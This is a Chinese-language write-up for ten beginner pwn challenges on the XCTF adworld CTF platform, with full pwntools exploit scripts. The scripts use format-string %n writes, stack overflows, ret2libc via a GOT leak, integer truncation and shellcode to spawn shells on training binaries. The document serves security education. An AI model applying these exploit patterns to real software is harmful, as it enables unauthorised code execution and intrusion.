【WP】攻防世界新手区pwn writeup
CGfsb
- 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050
- 下载文件后,使用file命令查看。
- 32位的文件,用ida打开,F5查看伪代码。
- printf漏洞:https://www.cnblogs.com/cfans1993/articles/5619134.html
- 思路:
- 找到pwnme的地址
- 把pwnme的地址写到s里面
- printf输出8个字节,然后用%n把8写入到pwnme里面
- 步骤:
- 利用ida直接找到pwnme的地址,为0x804a068
- 找到s相对format参数的偏移量,可以看到,传递message的变量s,被存储在0xbffff628地址内,此时0xbffff600对应printf的format参数在栈中的位置,所以偏移量为10,对应构造
%10$n
。 - 构造payload:(pwnme地址)+"aaaa"+"%10$n"
- 利用ida直接找到pwnme的地址,为0x804a068
- pwntools:
from pwn import * context.log_level = 'debug' DEBUG = int(sys.argv[1]) if DEBUG == 1: p = process('./cgfsb') else: p = remote('111.198.29.45',58350) pwnme_addr = 0x0804A068 payload1 = "aaaa" payload2 = p32(pwnme_addr) + 'aaaa%10$n' p.recvuntil('please tell me your name:\n') p.sendline(payload1) p.recvuntil('leave your message please:\n') p.sendline(payload2) print p.recv() print p.recv()
- 运行结果:
When did you born
- 文件类型
- 运行测试
- IDA查看反汇编伪代码,v5等于1926能拿到flag,但之前有一个判断,不让输入1926
- IDA调试,观察栈
- 输入生日1111,在栈中找到v5的位置
- 输入名字abcdefghijk
- 看到v4部分覆盖了v5,所以我们要构造的payload格式应该是8chars+'\x86'+'\x07'
- 输入生日1111,在栈中找到v5的位置
- pwntools代码
from pwn import * p=remote(ip,port) p.sendafter('Your Birth?',str(0)+'\n') p.sendafter(' Your Name?','a'*8+p64(1926)) p.interactive()
- 运行结果
hello_pwn
- 下载后反汇编用IDA查看伪代码,发现有一个函数用于显示flag,重命名为showflag
- 显然,只要把dword_60106C赋值为1853186401就可以了,我们发现,输入aaaaaaaaaaaaaaaaa,其中一部分会覆盖dword_60106C,所以payload的格式应该是4chars+1853186401
- pwntools代码
from pwn import * p = process("./637f5c201bf94c128c8c22e4d6e9cef3") p.sendline('a'*4+p32(1853186401)) p.interactive()
- 本地测试
- 远程
level0
- 检查保护
- 反汇编后发现callsystem函数调用了shell
- vulnerable_function函数存在栈溢出漏洞,考虑覆盖返回值
- 输入128个a和bbbbcccc后,可以看到,刚好到达返回地址,所以payload格式为128+8个char+callsystem地址
- exp如下
from pwn import * p = remote('111.198.29.45',54531) elf = ELF("./level0") sysaddr = elf.symbols['callsystem'] payload = 'a'*(0x80 + 8) + p64(sysaddr) p.recv() p.send(payload) p.interactive()
- 运行结果
level2
- 查看程序保护
- IDA查看反汇编伪代码,存在栈溢出漏洞
- 程序中含有system函数和"/bin/sh"字符串
- exp如下
from pwn import * elf = ELF('./level2') sys_addr = elf.symbols['system'] sh_addr = elf.search('/bin/sh').next() payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr) #io = remote('111.198.29.45',40579) io = process("./level2") io.sendlineafter("Input:\n",payload) io.interactive() io.close()
guess num
- 查看文件类型
- 检查程序保护
- 运行测试
- IDA反汇编
- 可以看到,每次数字都是一个随机数,而且随机数的种子是在gets之前的,所以我们可能有机会覆盖seed
- 查看栈,可以发现,输入name确实可以覆盖到seed
- exp:(循环里用sendafter和recvuntil都跑不动,只好手动了)
from pwn import * from ctypes import * elf = ELF('./guess') libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") io = process('./guess') #io = remote("111.198.29.45",58174) payload = 32 * 'a' + p64(1) io.sendafter("Your name:", payload) libc.srand(1) for i in range(10): num = str(libc.rand()%6+1) print num+" ", io.interactive()
- 运行结果
cgpwn2
- 检查保护
- 反汇编
- 我们可以看到程序里面有system函数,但是没有"/bin/sh"字符串,但是name变量是全局的,我们可以尝试把字串放到name变量里
- exp:
from pwn import * elf = ELF('./cgpwn2') io = process('./cgpwn2') #io = remote("111.198.29.45",58174) payload = 42 * 'a' + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x0804A080) shstr = "/bin/sh" io.recvuntil("name") io.sendline(shstr) io.recvuntil("here:") io.sendline(payload) io.interactive()
int overflow
- 查看保护
- 运行测试
- 反汇编,发现有一个函数已经有显示flag的功能了,但是并没有被调用,可以考虑返回地址溢出,在密码检查的函数中,我们看到,字符串长度被赋给了uint8类型,这里会发生截断,而在正确的分支,s字符串会被strcpy使用。
- 整数溢出:由于int是32位,而int8是8位,我们可以在最后8位伪造长度,骗过长度检测,使用"0000 1000"(8)作为最后8位。
- 栈中返回地址被覆盖(长度263)
- payload格式:0x14个char + 4个char + 地址(占4个char) + 0xeb个char
- exp
from pwn import * elf = ELF('./intover') io = process('./intover') #io = remote("111.198.29.45",51548) io.recvuntil("choice:") io.sendline('1') io.recvuntil("username:") io.sendline("aaa") io.recvuntil("passwd") io.sendline('a'*0x14 + 'a'*4 + p32(elf.symbols['what_is_this']) + 0xea*'a') io.interactive()
string
- 查看保护
- 反汇编,发现一个格式化字符串漏洞,一处强制转化位函数指针
- 我们只要把shellcode写入v1就可以了
- 逆推,我们要使a1[0]和a1[1]一样
- a1在上一级函数中是一个指针
- a1也就是在main中的v4,也就是v3,我们通过secret[0]得到地址
- 这里可以在v2写入v3[0]的地址,然后通过格式化字符串漏洞,在v3[0]中写入85,使v3[0]==v3[1]
- 寻找format在栈中的位置,偏移量为7
- exp:
from pwn import * #io = remote('111.198.29.45','41410') io = process("./string") io.recvuntil("secret[0] is ") v3_0_addr = int(io.recvuntil("\n")[:-1], 16) io.recvuntil("character's name be:") io.sendline("tiumo") io.recvuntil("east or up?:") io.sendline("east") io.recvuntil("there(1), or leave(0)?:") io.sendline("1") io.recvuntil("'Give me an address'") io.sendline(str(v3_0_addr)) io.recvuntil("you wish is:") io.sendline("%85c%7$n") context(log_level = 'debug', arch = 'amd64', os = 'linux') shellcode=asm(shellcraft.sh()) io.recvuntil("USE YOU SPELL") io.sendline(shellcode) io.interactive()
- 运行结果:
level3
- 先查看保护
- 反汇编,很直白的栈溢出
- GOT表与PLT表:https://blog.csdn.net/qq_18661257/article/details/54694748
- ret2libc攻击:https://blog.csdn.net/guilanl/article/details/61921481
- exp(本地不能执行,但远程可以,不知道为什么)
#-*-coding:utf-8-*- from pwn import * #io = process('./level3') io = remote('111.198.29.45',55186) elf = ELF('./level3') libc = ELF('./libc_32.so.6') write_plt = elf.plt['write'] vul_addr = elf.symbols['vulnerable_function'] got_addr = elf.got['write'] payload1="a"*0x88 + 'aaaa' + p32(write_plt) + p32(vul_addr) + p32(1) + p32(got_addr) + p32(4) io.recvuntil("Input:\n") io.sendline(payload1) write_addr = u32(io.recv(4)) print write_addr libc_write = libc.symbols['write'] libc_system = libc.symbols['system'] libc_sh = libc.search('/bin/sh').next() system_addr = write_addr + (libc_system-libc_write) #用相对地址计算真实地址 sh_addr = write_addr + (libc_sh-libc_write) payload2 = 'a'*0x88 + 'aaaa' + p32(system_addr) + 'aaaa' + p32(sh_addr) io.recvuntil("Input:\n") io.sendline(payload2) io.interactive()